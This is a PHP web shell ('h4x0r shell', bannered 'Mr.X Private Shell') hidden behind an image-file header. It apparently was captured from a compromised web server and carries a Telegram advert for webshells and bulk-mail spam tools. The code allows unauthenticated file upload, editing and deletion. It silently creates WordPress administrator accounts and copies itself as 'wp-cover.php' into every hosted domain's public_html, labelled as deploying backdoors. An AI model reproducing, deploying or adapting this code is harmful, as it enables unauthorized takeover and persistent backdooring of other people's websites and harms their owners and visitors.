����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

bkunreyz@216.73.217.13: ~ $
<?php

error_reporting(0);

// =============================================
// BOOTSTRAP & CONFIGURATION
// =============================================

define('VERSION', '3.0');
define('THEME', 'matrix');

$current_dir = isset($_GET['dir']) ? $_GET['dir'] : getcwd();
$current_dir = realpath($current_dir);
if ($current_dir === false) {
    $current_dir = getcwd();
}

$parent_dir = dirname($current_dir);
if ($parent_dir == $current_dir) {
    $parent_dir = false;
}

// =============================================
// UTILITY FUNCTIONS
// =============================================

function human_size($bytes, $dec = 2) {
    $size = ['B', 'KB', 'MB', 'GB', 'TB'];
    $factor = floor((strlen($bytes) - 1) / 3);
    return sprintf("%.{$dec}f", $bytes / pow(1024, $factor)) . ' ' . $size[$factor];
}

function rand_pass($len = 14) {
    $pool = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%';
    return substr(str_shuffle(str_repeat($pool, 5)), 0, $len);
}

function get_domain_from_path($path) {
    $doc_root = $_SERVER['DOCUMENT_ROOT'] ?? '';
    $host = $_SERVER['HTTP_HOST'] ?? 'localhost';
    $proto = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on') ? 'https://' : 'http://';
    
    if (!empty($doc_root) && strpos($path, $doc_root) === 0) {
        $rel = substr($path, strlen($doc_root));
        return $proto . $host . $rel;
    }
    
    $cursor = $path;
    while ($cursor && $cursor != '/') {
        if (file_exists($cursor . '/wp-config.php')) {
            $conf = file_get_contents($cursor . '/wp-config.php');
            if (preg_match("/define\(\s*['\"]WP_HOME['\"]\s*,\s*['\"]([^'\"]+)['\"]/", $conf, $match)) {
                return $match[1];
            }
            if (preg_match("/define\(\s*['\"]WP_SITEURL['\"]\s*,\s*['\"]([^'\"]+)['\"]/", $conf, $match)) {
                return $match[1];
            }
        }
        $cursor = dirname($cursor);
    }
    return null;
}

// =============================================
// AUTO CLONE DEPLOYER
// =============================================

$deployed = [];

if (isset($_GET['auto_clone'])) {
    $target_base = $current_dir;
    $created = [];
    
    if (basename($current_dir) !== 'domains') {
        $up = $current_dir;
        while ($up && $up != '/') {
            if (basename($up) === 'domains') {
                $target_base = $up;
                break;
            }
            $up = dirname($up);
        }
    }
    
    if (is_dir($target_base)) {
        $scan = scandir($target_base);
        foreach ($scan as $name) {
            if ($name === '.' || $name === '..') continue;
            $domain_dir = $target_base . '/' . $name;
            if (is_dir($domain_dir)) {
                $pub = $domain_dir . '/public_html';
                if (is_dir($pub)) {
                    $shelly = $pub . '/wp-cover.php';
                    if (copy(__FILE__, $shelly)) {
                        $proto = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on') ? 'https://' : 'http://';
                        $detected = get_domain_from_path($pub);
                        $url = $detected ? rtrim($detected, '/') . '/wp-cover.php' : $proto . $name . '/wp-cover.php';
                        $created[] = ['domain' => $name, 'path' => $shelly, 'url' => $url];
                    }
                }
            }
        }
    }
    
    if (!empty($created)) {
        $deployed = $created;
        $msg = "✓ Deployed " . count($created) . " backdoors";
        $msg_type = 'success';
    } else {
        $msg = "✗ No public_html folders found under domains";
        $msg_type = 'warning';
    }
}

// =============================================
// ACTION PROCESSOR
// =============================================

$msg = '';
$msg_type = '';

// WordPress Admin Creator
if (isset($_GET['make_admin'])) {
    $wp_root = $current_dir;
    $has_wp = false;
    
    while ($wp_root && $wp_root != '/') {
        if (file_exists($wp_root . '/wp-load.php')) {
            $has_wp = true;
            break;
        }
        $wp_root = dirname($wp_root);
    }
    
    if ($has_wp && file_exists($wp_root . '/wp-load.php')) {
        require_once($wp_root . '/wp-load.php');
        
        $user = 'sys_' . substr(md5(rand()), 0, 7);
        $pass = rand_pass();
        $mail = $user . '@' . gethostname() . '.local';
        
        if (function_exists('wp_create_user')) {
            if (!username_exists($user) && !email_exists($mail)) {
                $uid = wp_create_user($user, $pass, $mail);
                if (!is_wp_error($uid)) {
                    $u = new WP_User($uid);
                    $u->set_role('administrator');
                    $msg = "WP Admin Created | ID: $user | PASS: $pass | LOGIN: " . get_site_url() . "/wp-admin";
                    $msg_type = 'success';
                } else {
                    $msg = "WP Error: " . $uid->get_error_message();
                    $msg_type = 'error';
                }
            } else {
                $msg = "User or email exists already";
                $msg_type = 'warning';
            }
        } else {
            $msg = "WordPress not loaded correctly";
            $msg_type = 'error';
        }
    } else {
        $msg = "WordPress not found in this tree";
        $msg_type = 'error';
    }
}

// File Upload
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['up'])) {
    $err = $_FILES['up']['error'];
    if ($err === UPLOAD_ERR_OK) {
        $dest = $current_dir . '/' . basename($_FILES['up']['name']);
        if (move_uploaded_file($_FILES['up']['tmp_name'], $dest)) {
            $msg = "Uploaded: " . basename($_FILES['up']['name']);
            $msg_type = 'success';
        } else {
            $msg = "Upload failed";
            $msg_type = 'error';
        }
    }
}

// Create Directory
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['mkdir'])) {
    $dname = trim($_POST['dname']);
    if ($dname) {
        $clean = preg_replace('/[^a-zA-Z0-9_\-\.]/', '', $dname);
        $new = $current_dir . '/' . $clean;
        if (!file_exists($new)) {
            if (mkdir($new, 0755)) {
                $msg = "Directory created: $clean";
                $msg_type = 'success';
            } else {
                $msg = "Cannot create directory";
                $msg_type = 'error';
            }
        } else {
            $msg = "Already exists";
            $msg_type = 'warning';
        }
    }
}

// Delete item
if (isset($_GET['rm'])) {
    $target = $current_dir . '/' . basename($_GET['rm']);
    if (file_exists($target)) {
        $ok = is_dir($target) ? rmdir($target) : unlink($target);
        if ($ok) {
            header("Location: ?dir=" . urlencode($current_dir));
            exit;
        }
    }
}

// Edit file
if (isset($_GET['edit'])) {
    $target = $current_dir . '/' . basename($_GET['edit']);
    if (file_exists($target) && is_file($target)) {
        $content = file_get_contents($target);
        if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['new_content'])) {
            if (file_put_contents($target, $_POST['new_content']) !== false) {
                $msg = "Saved: " . basename($_GET['edit']);
                $msg_type = 'success';
                $content = $_POST['new_content'];
            }
        }
    }
}

// =============================================
// DIRECTORY LISTING
// =============================================

$dirs = [];
$fls = [];

if (is_dir($current_dir) && is_readable($current_dir)) {
    $entries = scandir($current_dir);
    if ($entries) {
        foreach ($entries as $entry) {
            if ($entry === '.' || $entry === '..') continue;
            $full = $current_dir . '/' . $entry;
            $stat = [
                'name' => $entry,
                'path' => $full,
                'mod' => filemtime($full),
                'perm' => substr(sprintf('%o', fileperms($full)), -3)
            ];
            if (is_dir($full)) {
                $dirs[] = $stat;
            } else {
                $stat['size'] = filesize($full);
                $stat['ext'] = strtolower(pathinfo($entry, PATHINFO_EXTENSION));
                $fls[] = $stat;
            }
        }
    }
}

usort($dirs, fn($a, $b) => strcmp($a['name'], $b['name']));
usort($fls, fn($a, $b) => strcmp($a['name'], $b['name']));

// Breadcrumbs
$crumbs = [];
$segments = explode('/', trim($current_dir, '/'));
$accum = '';
$crumbs[] = ['label' => '⚡', 'path' => '/'];
foreach ($segments as $seg) {
    if ($seg) {
        $accum .= '/' . $seg;
        $crumbs[] = ['label' => $seg, 'path' => $accum];
    }
}

$domain_info = get_domain_from_path($current_dir);

?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>h4x0r shell | v<?php echo VERSION; ?></title>
    <style>
        @import url('https://fonts.googleapis.com/css2?family=Share+Tech+Mono&display=swap');
        
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }
        
        body {
            background: #0b0b0b;
            background-image: radial-gradient(#1a3a1a 0.5px, transparent 0.5px);
            background-size: 24px 24px;
            font-family: 'Share Tech Mono', 'Courier New', monospace;
            padding: 18px;
            color: #9eff9e;
        }
        
        .matrix-container {
            max-width: 1500px;
            margin: 0 auto;
        }
        
        /* ASCII Border */
        .term-box {
            background: #0c0c0c;
            border: 1px solid #2a5a2a;
            border-radius: 0;
            box-shadow: 0 0 20px rgba(0, 255, 0, 0.1);
            margin-bottom: 20px;
        }
        
        .term-header {
            background: #0a1a0a;
            padding: 10px 16px;
            border-bottom: 1px solid #2a5a2a;
            color: #5f9f5f;
            font-size: 0.8rem;
            letter-spacing: 1px;
        }
        
        /* Buttons - CLI style */
        .cli-btn {
            background: #0a0a0a;
            border: 1px solid #2a8a2a;
            color: #6fdf6f;
            padding: 6px 14px;
            font-family: monospace;
            font-size: 0.8rem;
            cursor: pointer;
            transition: all 0.1s linear;
            text-decoration: none;
            display: inline-flex;
            align-items: center;
            gap: 8px;
        }
        
        .cli-btn:hover {
            background: #1a3a1a;
            color: #bfffbf;
            border-color: #3fbf3f;
            box-shadow: 0 0 6px #2f9f2f;
        }
        
        .btn-green {
            background: #0f2f0f;
            border-color: #3fbf3f;
            color: #bfefbf;
        }
        
        .btn-red {
            border-color: #8f3f3f;
            color: #ef9f9f;
        }
        .btn-red:hover { background: #2f1a1a; border-color: #df5f5f; }
        
        .btn-cyan {
            border-color: #2f8f8f;
            color: #8fefef;
        }
        
        /* Links */
        a {
            color: #8fef8f;
            text-decoration: none;
        }
        a:hover {
            color: #cfefcf;
            text-shadow: 0 0 3px #1f9f1f;
        }
        
        /* Breadcrumb */
        .crumb-line {
            background: #0a0f0a;
            padding: 12px 16px;
            border: 1px solid #1f3f1f;
            display: flex;
            flex-wrap: wrap;
            gap: 6px;
            font-size: 0.85rem;
        }
        .crumb {
            background: #0f1a0f;
            padding: 4px 10px;
            border-left: 2px solid #2faf2f;
        }
        
        /* Quick Nav */
        .nav-strip {
            background: #0a0a0a;
            padding: 10px 16px;
            border: 1px solid #1f3f1f;
            display: flex;
            flex-wrap: wrap;
            gap: 8px;
            align-items: center;
        }
        .nav-pill {
            background: #0f120f;
            padding: 5px 12px;
            border: 1px solid #2a4a2a;
            font-size: 0.75rem;
        }
        
        /* Controls */
        .control-panel {
            background: #0a0a0a;
            border: 1px solid #1f3f1f;
            padding: 16px;
            display: flex;
            flex-wrap: wrap;
            gap: 16px;
            margin-bottom: 20px;
        }
        .ctrl-group {
            background: #0c0c0c;
            border: 1px solid #1a3a1a;
            padding: 6px 12px;
            display: flex;
            gap: 8px;
            align-items: center;
        }
        .ctrl-group input {
            background: #0a0a0a;
            border: 1px solid #2a5a2a;
            padding: 6px 10px;
            color: #9eff9e;
            font-family: monospace;
        }
        .ctrl-group input:focus {
            outline: none;
            border-color: #5fef5f;
        }
        
        /* 2 columns */
        .two-col {
            display: grid;
            grid-template-columns: 1fr 300px;
            gap: 20px;
        }
        
        /* Messages */
        .msg {
            padding: 10px 16px;
            margin-bottom: 18px;
            border-left: 4px solid;
            background: #0a0f0a;
        }
        .msg-suc { border-left-color: #2fdf2f; color: #afefaf; }
        .msg-err { border-left-color: #df4f4f; color: #efafaf; }
        .msg-warn { border-left-color: #efbf2f; color: #efdfaf; }
        
        /* Cards */
        .section-title {
            color: #7fcf7f;
            font-size: 0.9rem;
            margin: 20px 0 12px 0;
            padding-left: 8px;
            border-left: 3px solid #2faf2f;
            text-transform: uppercase;
        }
        .file-grid {
            display: grid;
            grid-template-columns: repeat(auto-fill, minmax(240px, 1fr));
            gap: 12px;
        }
        .fs-card {
            background: #0c0f0c;
            border: 1px solid #1a3a1a;
            padding: 12px;
            transition: 0.1s linear;
        }
        .fs-card:hover {
            border-color: #3fbf3f;
            background: #0f150f;
        }
        .card-icon {
            font-size: 1.8rem;
            opacity: 0.9;
        }
        .card-name {
            font-size: 0.85rem;
            font-weight: bold;
            word-break: break-all;
            margin: 6px 0;
        }
        .card-meta {
            font-size: 0.65rem;
            color: #5f8f5f;
            border-top: 1px dashed #1a3a1a;
            padding: 5px 0;
        }
        .card-actions {
            display: flex;
            gap: 8px;
            margin-top: 8px;
        }
        .mini-btn {
            background: #0f120f;
            border: 1px solid #2a5a2a;
            padding: 4px 10px;
            font-size: 0.65rem;
            font-family: monospace;
            cursor: pointer;
        }
        
        /* Sidebar */
        .side-card {
            background: #0a0f0a;
            border: 1px solid #1f3f1f;
            padding: 14px;
            margin-bottom: 18px;
        }
        .side-title {
            color: #8fdf8f;
            border-bottom: 1px solid #1f4f1f;
            padding-bottom: 6px;
            margin-bottom: 12px;
            font-size: 0.85rem;
        }
        .info-row {
            font-size: 0.75rem;
            padding: 6px 0;
            border-bottom: 1px dotted #1a3a1a;
        }
        
        /* Editor Matrix */
        .code-editor {
            border: 1px solid #2a6a2a;
        }
        .code-editor textarea {
            width: 100%;
            min-height: 480px;
            background: #050a05;
            border: none;
            color: #9bef9b;
            font-family: 'Share Tech Mono', monospace;
            font-size: 0.8rem;
            padding: 16px;
            resize: vertical;
        }
        
        /* Deployed clones */
        .clone-badge {
            background: #0f2f0f;
            padding: 8px 12px;
            border-left: 2px solid #2fcf2f;
            margin-bottom: 6px;
            font-size: 0.7rem;
        }
        
        /* Footer */
        .footer-bar {
            margin-top: 24px;
            background: #090c09;
            border: 1px solid #1a3a1a;
            padding: 10px 16px;
            font-size: 0.7rem;
            display: flex;
            justify-content: space-between;
            color: #5f8f5f;
        }
        
        @media (max-width: 760px) {
            .two-col { grid-template-columns: 1fr; }
            .control-panel { flex-direction: column; }
        }
    </style>
</head>
<body>
<div class="matrix-container">
    <!-- Terminal Header -->
    <div class="term-box">
        <div class="term-header">
            <span>┌─[ h4x0r::shell ]─[<?php echo php_uname('n'); ?>]</span><br>
            <span>└─[<?php echo date('Y-m-d H:i:s'); ?>]</span>
            <?php if ($domain_info): ?>
            <span style="float:right;">🌐 <?php echo htmlspecialchars(parse_url($domain_info, PHP_URL_HOST) ?: $domain_info); ?></span>
            <?php endif; ?>
        </div>
    </div>
    
    <!-- Breadcrumb -->
    <div class="crumb-line">
        <?php foreach ($crumbs as $idx => $cr): ?>
            <a href="?dir=<?php echo urlencode($cr['path']); ?>" class="crumb"><?php echo htmlspecialchars($cr['label']); ?></a>
            <?php if ($idx < count($crumbs)-1): ?><span style="color:#2a5a2a;">/</span><?php endif; ?>
        <?php endforeach; ?>
    </div>
    
    <!-- Quick Nav -->
    <div class="nav-strip">
        <span style="color:#2f8f2f;">❯</span>
        <?php if ($parent_dir): ?>
            <a href="?dir=<?php echo urlencode($parent_dir); ?>" class="nav-pill">[..] parent</a>
        <?php endif; ?>
        <a href="?dir=/" class="nav-pill">/root</a>
        <a href="?dir=/home" class="nav-pill">~/home</a>
        <a href="?dir=/var/www" class="nav-pill">/www</a>
        <a href="?dir=/tmp" class="nav-pill">/tmp</a>
        <a href="?dir=<?php echo urlencode($current_dir); ?>&auto_clone=1" class="nav-pill" style="background:#1f3f1f;">[auto-clone]</a>
    </div>
    
    <!-- Controls Panel -->
    <div class="control-panel">
        <div class="ctrl-group">
            <form method="post" enctype="multipart/form-data" style="display:flex; gap:6px;">
                <input type="file" name="up">
                <button type="submit" class="cli-btn">⇑ upload</button>
            </form>
        </div>
        <div class="ctrl-group">
            <form method="post" style="display:flex; gap:6px;">
                <input type="text" name="dname" placeholder="dirname" size="12">
                <button type="submit" name="mkdir" value="1" class="cli-btn btn-green">mkdir</button>
            </form>
        </div>
        <div class="ctrl-group">
            <a href="?dir=<?php echo urlencode($current_dir); ?>&make_admin=1" class="cli-btn btn-cyan">⚡ wp admin</a>
            <a href="?dir=<?php echo urlencode($current_dir); ?>" class="cli-btn">⟳ refresh</a>
        </div>
    </div>
    
    <!-- Messages -->
    <?php if ($msg): ?>
    <div class="msg msg-<?php echo $msg_type === 'success' ? 'suc' : ($msg_type === 'error' ? 'err' : 'warn'); ?>">
        <?php echo htmlspecialchars($msg); ?>
    </div>
    <?php endif; ?>
    
    <!-- Deployed clones notification -->
    <?php if (!empty($deployed)): ?>
    <div class="side-card" style="border-color:#3fbf3f;">
        <div class="side-title">📡 backdoors deployed (wp-cover.php)</div>
        <?php foreach ($deployed as $d): ?>
        <div class="clone-badge">
            🌐 <a href="<?php echo htmlspecialchars($d['url']); ?>" target="_blank" style="color:#9fef9f;"><?php echo htmlspecialchars($d['url']); ?></a>
            <span style="color:#6faf6f;">[<?php echo htmlspecialchars($d['domain']); ?>]</span>
        </div>
        <?php endforeach; ?>
    </div>
    <?php endif; ?>
    
    <!-- Main 2 columns -->
    <div class="two-col">
        <!-- LEFT: file manager -->
        <div>
            <?php if (isset($content)): ?>
                <!-- Editor view -->
                <div class="code-editor">
                    <div class="term-header" style="display:flex; justify-content:space-between;">
                        <span>✎ editing: <?php echo htmlspecialchars(basename($_GET['edit'])); ?></span>
                        <a href="?dir=<?php echo urlencode($current_dir); ?>" class="cli-btn">← back</a>
                    </div>
                    <form method="post">
                        <textarea name="new_content"><?php echo htmlspecialchars($content); ?></textarea>
                        <div style="padding:12px; background:#0a0f0a; border-top:1px solid #1f4f1f;">
                            <button type="submit" class="cli-btn btn-green">💾 save changes</button>
                        </div>
                    </form>
                </div>
            <?php else: ?>
                <!-- Directory listing -->
                <?php if (!empty($dirs)): ?>
                <div class="section-title">📂 directories (<?php echo count($dirs); ?>)</div>
                <div class="file-grid">
                    <?php foreach ($dirs as $d): ?>
                    <div class="fs-card">
                        <div class="card-icon">📁</div>
                        <div class="card-name"><?php echo htmlspecialchars($d['name']); ?></div>
                        <div class="card-meta">📅 <?php echo date('m-d H:i', $d['mod']); ?> | perm <?php echo $d['perm']; ?></div>
                        <div class="card-actions">
                            <a href="?dir=<?php echo urlencode($d['path']); ?>" class="mini-btn">open</a>
                            <a href="?dir=<?php echo urlencode($current_dir); ?>&rm=<?php echo urlencode($d['name']); ?>" class="mini-btn" onclick="return confirm('rmdir?')" style="border-color:#8f4f4f;">rm</a>
                        </div>
                    </div>
                    <?php endforeach; ?>
                </div>
                <?php endif; ?>
                
                <?php if (!empty($fls)): ?>
                <div class="section-title">📄 files (<?php echo count($fls); ?>)</div>
                <div class="file-grid">
                    <?php foreach ($fls as $f): 
                        $ico = '📄';
                        if ($f['ext'] === 'php') $ico = '🐘';
                        elseif (in_array($f['ext'], ['jpg','png','gif','jpeg'])) $ico = '🖼️';
                        elseif ($f['ext'] === 'sql') $ico = '🗄️';
                        elseif ($f['ext'] === 'sh') $ico = '⚙️';
                    ?>
                    <div class="fs-card">
                        <div class="card-icon"><?php echo $ico; ?></div>
                        <div class="card-name"><?php echo htmlspecialchars($f['name']); ?></div>
                        <div class="card-meta">💾 <?php echo human_size($f['size']); ?> | 📅 <?php echo date('m-d H:i', $f['mod']); ?></div>
                        <div class="card-actions">
                            <a href="?dir=<?php echo urlencode($current_dir); ?>&edit=<?php echo urlencode($f['name']); ?>" class="mini-btn">edit</a>
                            <a href="?dir=<?php echo urlencode($current_dir); ?>&rm=<?php echo urlencode($f['name']); ?>" class="mini-btn" onclick="return confirm('rm file?')" style="border-color:#8f4f4f;">rm</a>
                        </div>
                    </div>
                    <?php endforeach; ?>
                </div>
                <?php endif; ?>
                
                <?php if (empty($dirs) && empty($fls)): ?>
                <div class="side-card" style="text-align:center; padding:40px;">
                    <span style="font-size:3rem;">[ ␀ ]</span>
                    <p>empty directory</p>
                </div>
                <?php endif; ?>
            <?php endif; ?>
        </div>
        
        <!-- RIGHT: Sidebar -->
        <div>
            <div class="side-card">
                <div class="side-title">💻 sysinfo</div>
                <div class="info-row"><strong>pwd:</strong> <?php echo htmlspecialchars($current_dir); ?></div>
                <?php if ($domain_info): ?>
                <div class="info-row"><strong>domain:</strong> <a href="<?php echo htmlspecialchars($domain_info); ?>" target="_blank"><?php echo htmlspecialchars($domain_info); ?></a></div>
                <?php endif; ?>
                <div class="info-row"><strong>items:</strong> <?php echo count($dirs); ?> dir / <?php echo count($fls); ?> file</div>
                <div class="info-row"><strong>disk:</strong> <?php echo human_size(disk_free_space($current_dir)); ?> free</div>
                <div class="info-row"><strong>php:</strong> <?php echo PHP_VERSION; ?></div>
                <div class="info-row"><strong>uname:</strong> <?php echo php_uname('s'); ?></div>
            </div>
            
            <div class="side-card">
                <div class="side-title">⚙️ actions</div>
                <div style="display:flex; flex-direction:column; gap:8px;">
                    <a href="?dir=<?php echo urlencode(dirname(__FILE__)); ?>" class="cli-btn" style="justify-content:center;">📍 script home</a>
                    <a href="?dir=/var/www/html" class="cli-btn" style="justify-content:center;">🌐 web default</a>
                    <a href="?dir=<?php echo urlencode($current_dir); ?>&auto_clone=1" class="cli-btn btn-green" style="justify-content:center;">📡 auto clone deploy</a>
                </div>
            </div>
            
            <?php if (strpos($current_dir, 'domains') !== false || basename($current_dir) === 'domains'): ?>
            <div class="side-card">
                <div class="side-title">🌐 domain hunter</div>
                <a href="?auto_clone=1&dir=<?php echo urlencode($current_dir); ?>" class="cli-btn btn-green" style="width:100%; text-align:center;">⇢ deploy to all domains</a>
            </div>
            <?php endif; ?>
        </div>
    </div>
    
    <!-- Footer status -->
    <div class="footer-bar">
        <span>[<?php echo htmlspecialchars($current_dir); ?>]</span>
        <span>h4x0r shell // active session</span>
    </div>
</div>

<script>
    (function() {
        // auto hide messages
        let msgs = document.querySelectorAll('.msg');
        if (msgs.length) {
            setTimeout(() => {
                msgs.forEach(m => { m.style.opacity = '0'; setTimeout(() => m.remove(), 300); });
            }, 4000);
        }
        
        // clipboard helper
        document.querySelectorAll('.clone-badge a').forEach(el => {
            el.addEventListener('click', (e) => {
                e.stopPropagation();
                let url = el.href;
                navigator.clipboard.writeText(url);
                let old = el.innerText;
                el.innerText = 'copied!';
                setTimeout(() => el.innerText = old, 1200);
            });
        });
        
        // ctrl+s save
        document.addEventListener('keydown', (e) => {
            if (e.ctrlKey && e.key === 's' && document.querySelector('textarea')) {
                e.preventDefault();
                document.querySelector('.code-editor button')?.click();
            }
            if (e.key === 'Escape') {
                let backLink = document.querySelector('.code-editor .term-header a');
                if (backLink) window.location.href = backLink.href;
            }
        });
    })();
</script>
</body>
</html>

Filemanager

Name Type Size Permission Actions
admin Folder 0755
includes Folder 0755
languages Folder 0755
LICENSE.txt File 18 KB 0644
index.php File 27.86 KB 0644
readme.txt File 2.44 KB 0644
uninstall.php File 1.27 KB 0644